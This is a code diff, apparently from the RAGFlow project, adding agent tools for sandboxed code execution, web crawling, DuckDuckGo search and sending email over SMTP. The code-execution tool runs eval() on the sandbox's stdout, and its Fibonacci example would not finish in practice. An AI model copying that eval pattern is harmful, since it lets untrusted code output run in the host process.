+                return "python"
+            elif low in ("javascript", "nodejs"):
+                return "nodejs"
+        raise ValueError(f"Unsupported language: {v}")
+
+
+class CodeExecParam(ToolParamBase):
+    """
+    Define the code sandbox component parameters.
+    """
+
+    def __init__(self):
+        self.meta:ToolMeta = {
+            "name": "execute_code",
+            "description": """
+This tool has a sandbox that can execute code written in 'Python'/'Javascript'. It recieves a piece of code and return a Json string.
+Here's a code example for Python(`main` function MUST be included):
+def main() -> dict:
+    \"\"\"
+    Generate Fibonacci numbers within 100.
+    \"\"\"
+    def fibonacci_recursive(n):
+        if n <= 1:
+            return n
+        else:
+            return fibonacci_recursive(n-1) + fibonacci_recursive(n-2)
+    return {
+        "result": fibonacci_recursive(100),
+    }
+    
+Here's a code example for Javascript(`main` function MUST be included and exported):
+const axios = require('axios');
+async function main(args) {
+  try {
+    const response = await axios.get('https://github.com/infiniflow/ragflow');
+    console.log('Body:', response.data);
+  } catch (error) {
+    console.error('Error:', error.message);
+  }
+}
+module.exports = { main };
+            """,
+            "parameters": {
+                "lang": {
+                    "type": "string",
+                    "description": "The programming language of this piece of code.",
+                    "enum": ["python", "javascript"],
+                    "required": True,
+                },
+                "script": {
+                    "type": "string",
+                    "description": "A piece of code in right format. There MUST be main function.",
+                    "required": True
+                }
+            }
+        }
+        super().__init__()
+        self.lang = Language.PYTHON.value
+        self.script = "def main(arg1: str, arg2: str) -> dict: return {\"result\": arg1 + arg2}"
+        self.arguments = {}
+        self.outputs = {"result": {"value": "", "type": "string"}}
+
+    def check(self):
+        self.check_valid_value(self.lang, "Support languages", ["python", "python3", "nodejs", "javascript"])
+        self.check_empty(self.script, "Script")
+
+    def get_input_form(self) -> dict[str, dict]:
+        res = {}
+        for k, v in self.arguments.items():
+            res[k] = {
+                "type": "line",
+                "name": k
+            }
+        return res
+
+
+class CodeExec(ToolBase, ABC):
+    component_name = "CodeExec"
+
+    @timeout(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))
+    def _invoke(self, **kwargs):
+        lang = kwargs.get("lang", self._param.lang)
+        script = kwargs.get("script", self._param.script)
+        arguments = {}
+        for k, v in self._param.arguments.items():
+            if kwargs.get(k):
+                arguments[k] = kwargs[k]
+                continue
+            arguments[k] = self._canvas.get_variable_value(v) if v else None
+
+        self._execute_code(
+            language=lang,
+            code=script,
+            arguments=arguments
+        )
+
+    def _execute_code(self, language: str, code: str, arguments: dict):
+        import requests
+
+        try:
+            code_b64 = self._encode_code(code)
+            code_req = CodeExecutionRequest(code_b64=code_b64, language=language, arguments=arguments).model_dump()
+        except Exception as e:
+            self.set_output("_ERROR", "construct code request error: " + str(e))
+
+        try:
+            resp = requests.post(url=f"http://{settings.SANDBOX_HOST}:9385/run", json=code_req, timeout=10)
+            logging.info(f"http://{settings.SANDBOX_HOST}:9385/run", code_req, resp.status_code)
+            if resp.status_code != 200:
+                resp.raise_for_status()
+            body = resp.json()
+            if body:
+                stderr = body.get("stderr")
+                if stderr:
+                    self.set_output("_ERROR", stderr)
+                    return
+                try:
+                    rt = eval(body.get("stdout", ""))
+                except Exception:
+                    rt = body.get("stdout", "")
+                logging.info(f"http://{settings.SANDBOX_HOST}:9385/run -> {rt}")
+                if isinstance(rt, tuple):
+                    for i, (k, o) in enumerate(self._param.outputs.items()):
+                        if k.find("_") == 0:
+                            continue
+                        o["value"] = rt[i]
+                elif isinstance(rt, dict):
+                    for i, (k, o) in enumerate(self._param.outputs.items()):
+                        if k not in rt or k.find("_") == 0:
+                            continue
+                        o["value"] = rt[k]
+                else:
+                    for i, (k, o) in enumerate(self._param.outputs.items()):
+                        if k.find("_") == 0:
+                            continue
+                        o["value"] = rt
+            else:
+                self.set_output("_ERROR", "There is no response from sandbox")
+
+        except Exception as e:
+            self.set_output("_ERROR", "Exception executing code: " + str(e))
+
+        return self.output()
+
+    def _encode_code(self, code: str) -> str:
+        return base64.b64encode(code.encode("utf-8")).decode("utf-8")
+
+    def thoughts(self) -> str:
+        return "Running a short script to process data."

agent/tools/crawler.py

@@ -16,11 +16,12 @@
 from abc import ABC
 import asyncio
 from crawl4ai import AsyncWebCrawler
-from agent.component.base import ComponentBase, ComponentParamBase
+
+from agent.tools.base import ToolParamBase, ToolBase
 from api.utils.web_utils import is_valid_url
 
 
-class CrawlerParam(ComponentParamBase):
+class CrawlerParam(ToolParamBase):
     """
     Define the Crawler component parameters.
     """
@@ -34,7 +35,7 @@ class CrawlerParam(ComponentParamBase):
         self.check_valid_value(self.extract_type, "Type of content from the crawler", ['html', 'markdown', 'content'])
 
 
-class Crawler(ComponentBase, ABC):
+class Crawler(ToolBase, ABC):
     component_name = "Crawler"
 
     def _run(self, history, **kwargs):

agent/tools/duckduckgo.py

@@ -0,0 +1,120 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+import os
+import time
+from abc import ABC
+from duckduckgo_search import DDGS
+from agent.tools.base import ToolMeta, ToolParamBase, ToolBase
+from api.utils.api_utils import timeout
+
+
+class DuckDuckGoParam(ToolParamBase):
+    """
+    Define the DuckDuckGo component parameters.
+    """
+
+    def __init__(self):
+        self.meta:ToolMeta = {
+            "name": "duckduckgo_search",
+            "description": "DuckDuckGo is a search engine focused on privacy. It offers search capabilities for web pages, images, and provides translation services. DuckDuckGo also features a private AI chat interface, providing users with an AI assistant that prioritizes data protection.",
+            "parameters": {
+                "query": {
+                    "type": "string",
+                    "description": "The search keywords to execute with DuckDuckGo. The keywords should be the most important words/terms(includes synonyms) from the original request.",
+                    "default": "{sys.query}",
+                    "required": True
+                },
+                "channel": {
+                    "type": "string",
+                    "description": "default:general. The category of the search. `news` is useful for retrieving real-time updates, particularly about politics, sports, and major current events covered by mainstream media sources. `general` is for broader, more general-purpose searches that may include a wide range of sources.",
+                    "enum": ["general", "news"],
+                    "default": "general",
+                    "required": False,
+                },
+            }
+        }
+        super().__init__()
+        self.top_n = 10
+        self.channel = "text"
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_valid_value(self.channel, "Web Search or News", ["text", "news"])
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {
+            "query": {
+                "name": "Query",
+                "type": "line"
+            },
+            "channel": {
+                "name": "Channel",
+                "type": "options",
+                "value": "general",
+                "options": ["general", "news"]
+            }
+        }
+
+
+class DuckDuckGo(ToolBase, ABC):
+    component_name = "DuckDuckGo"
+
+    @timeout(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12))
+    def _invoke(self, **kwargs):
+        if not kwargs.get("query"):
+            self.set_output("formalized_content", "")
+            return ""
+
+        last_e = ""
+        for _ in range(self._param.max_retries+1):
+            try:
+                if kwargs.get("topic", "general") == "general":
+                    with DDGS() as ddgs:
+                        # {'title': '', 'href': '', 'body': ''}
+                        duck_res = ddgs.text(kwargs["query"], max_results=self._param.top_n)
+                        self._retrieve_chunks(duck_res,
+                                              get_title=lambda r: r["title"],
+                                              get_url=lambda r: r.get("href", r.get("url")),
+                                              get_content=lambda r: r["body"])
+                        self.set_output("json", duck_res)
+                        return self.output("formalized_content")
+                else:
+                    with DDGS() as ddgs:
+                        # {'date': '', 'title': '', 'body': '', 'url': '', 'image': '', 'source': ''}
+                        duck_res = ddgs.news(kwargs["query"], max_results=self._param.top_n)
+                        self._retrieve_chunks(duck_res,
+                                              get_title=lambda r: r["title"],
+                                              get_url=lambda r: r.get("href", r.get("url")),
+                                              get_content=lambda r: r["body"])
+                        self.set_output("json", duck_res)
+                        return self.output("formalized_content")
+            except Exception as e:
+                last_e = e
+                logging.exception(f"DuckDuckGo error: {e}")
+                time.sleep(self._param.delay_after_error)
+
+        if last_e:
+            self.set_output("_ERROR", str(last_e))
+            return f"DuckDuckGo error: {last_e}"
+
+        assert False, self.output()
+
+    def thoughts(self) -> str:
+        return """
+Keywords: {} 
+Looking for the most relevant articles.
+                """.format(self.get_input().get("query", "-_-!"))

agent/tools/email.py

@@ -0,0 +1,215 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import os
+import time
+from abc import ABC
+import json
+import smtplib
+import logging
+from email.mime.text import MIMEText
+from email.mime.multipart import MIMEMultipart
+from email.header import Header
+from email.utils import formataddr
+
+from agent.tools.base import ToolParamBase, ToolBase, ToolMeta
+from api.utils.api_utils import timeout
+
+
+class EmailParam(ToolParamBase):
+    """
+    Define the Email component parameters.
+    """
+    def __init__(self):
+        self.meta:ToolMeta = {
+            "name": "email",
+            "description": "The email is a method of electronic communication for sending and receiving information through the Internet. This tool helps users to send emails to one person or to multiple recipients with support for CC, BCC, file attachments, and markdown-to-HTML conversion.",
+            "parameters": {
+                "to_email": {
+                    "type": "string",
+                    "description": "The target email address.",
+                    "default": "{sys.query}",
+                    "required": True
+                },
+                "cc_email": {
+                    "type": "string",
+                    "description": "The other email addresses needs to be send to. Comma splited.",
+                    "default": "",
+                    "required": False
+                },
+                "content": {
+                    "type": "string",
+                    "description": "The content of the email.",
+                    "default": "",
+                    "required": False
+                },
+                "subject": {
+                    "type": "string",
+                    "description": "The subject/title of the email.",
+                    "default": "",
+                    "required": False
+                }
+            }
+        }
+        super().__init__()
+        # Fixed configuration parameters
+        self.smtp_server = ""  # SMTP server address
+        self.smtp_port = 465  # SMTP port
+        self.email = ""  # Sender email
+        self.password = ""  # Email authorization code
+        self.sender_name = ""  # Sender name
+
+    def check(self):
+        # Check required parameters
+        self.check_empty(self.smtp_server, "SMTP Server")
+        self.check_empty(self.email, "Email")
+        self.check_empty(self.password, "Password")
+        self.check_empty(self.sender_name, "Sender Name")
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {
+            "to_email": {
+                "name": "To ",
+                "type": "line"
+            },
+            "subject": {
+                "name": "Subject",
+                "type": "line",
+                "optional": True
+            },
+            "cc_email": {
+                "name": "CC To",
+                "type": "line",
+                "optional": True
+            },
+        }
+
+class Email(ToolBase, ABC):
+    component_name = "Email"
+    
+    @timeout(os.environ.get("COMPONENT_EXEC_TIMEOUT", 60))
+    def _invoke(self, **kwargs):
+        if not kwargs.get("to_email"):
+            self.set_output("success", False)
+            return ""
+
+        last_e = ""
+        for _ in range(self._param.max_retries+1):
+            try:
+                # Parse JSON string passed from upstream
+                email_data = kwargs
+
+                # Validate required fields
+                if "to_email" not in email_data:
+                    return Email.be_output("Missing required field: to_email")
+
+                # Create email object
+                msg = MIMEMultipart('alternative')
+
+                # Properly handle sender name encoding
+                msg['From'] = formataddr((str(Header(self._param.sender_name,'utf-8')), self._param.email))
+                msg['To'] = email_data["to_email"]
+                if email_data.get("cc_email"):
+                    msg['Cc'] = email_data["cc_email"]
+                msg['Subject'] = Header(email_data.get("subject", "No Subject"), 'utf-8').encode()
+
+                # Use content from email_data or default content
+                email_content = email_data.get("content", "No content provided")
+                # msg.attach(MIMEText(email_content, 'plain', 'utf-8'))
+                msg.attach(MIMEText(email_content, 'html', 'utf-8'))
+
+                # Connect to SMTP server and send
+                logging.info(f"Connecting to SMTP server {self._param.smtp_server}:{self._param.smtp_port}")
+
+                context = smtplib.ssl.create_default_context()
+                with smtplib.SMTP(self._param.smtp_server, self._param.smtp_port) as server:
+                    server.ehlo()
+                    server.starttls(context=context)
+                    server.ehlo()
+                    # Login
+                    logging.info(f"Attempting to login with email: {self._param.email}")
+                    server.login(self._param.email, self._param.password)
+
+                    # Get all recipient list
+                    recipients = [email_data["to_email"]]
+                    if email_data.get("cc_email"):
+                        recipients.extend(email_data["cc_email"].split(','))
+
+                    # Send email
+                    logging.info(f"Sending email to recipients: {recipients}")
+                    try:
+                        server.send_message(msg, self._param.email, recipients)
+                        success = True
+                    except Exception as e:
+                        logging.error(f"Error during send_message: {str(e)}")
+                        # Try alternative method
+                        server.sendmail(self._param.email, recipients, msg.as_string())
+                        success = True
+
+                    try:
+                        server.quit()
+                    except Exception as e:
+                        # Ignore errors when closing connection
+                        logging.warning(f"Non-fatal error during connection close: {str(e)}")
+
+                self.set_output("success", success)
+                return success
+
+            except json.JSONDecodeError:
+                error_msg = "Invalid JSON format in input"
+                logging.error(error_msg)
+                self.set_output("_ERROR", error_msg)
+                self.set_output("success", False)
+                return False
+
+            except smtplib.SMTPAuthenticationError:
+                error_msg = "SMTP Authentication failed. Please check your email and authorization code."
+                logging.error(error_msg)
+                self.set_output("_ERROR", error_msg)
+                self.set_output("success", False)
+                return False
+
+            except smtplib.SMTPConnectError:
+                error_msg = f"Failed to connect to SMTP server {self._param.smtp_server}:{self._param.smtp_port}"
+                logging.error(error_msg)
+                last_e = error_msg
+                time.sleep(self._param.delay_after_error)
+
+            except smtplib.SMTPException as e:
+                error_msg = f"SMTP error occurred: {str(e)}"
+                logging.error(error_msg)
+                last_e = error_msg
+                time.sleep(self._param.delay_after_error)
+
+            except Exception as e:
+                error_msg = f"Unexpected error: {str(e)}"
+                logging.error(error_msg)
+                self.set_output("_ERROR", error_msg)
+                self.set_output("success", False)
+                return False
+
+        if last_e:
+            self.set_output("_ERROR", str(last_e))
+            return False
+
+        assert False, self.output()
+
+    def thoughts(self) -> str:
+        inputs = self.get_input()
+        return """
+To: {}
+Subject: {}
+Your email is on its way—sit tight!
+""".format(inputs.get("to_email", "-_-!"), inputs.get("subject", "-_-!"))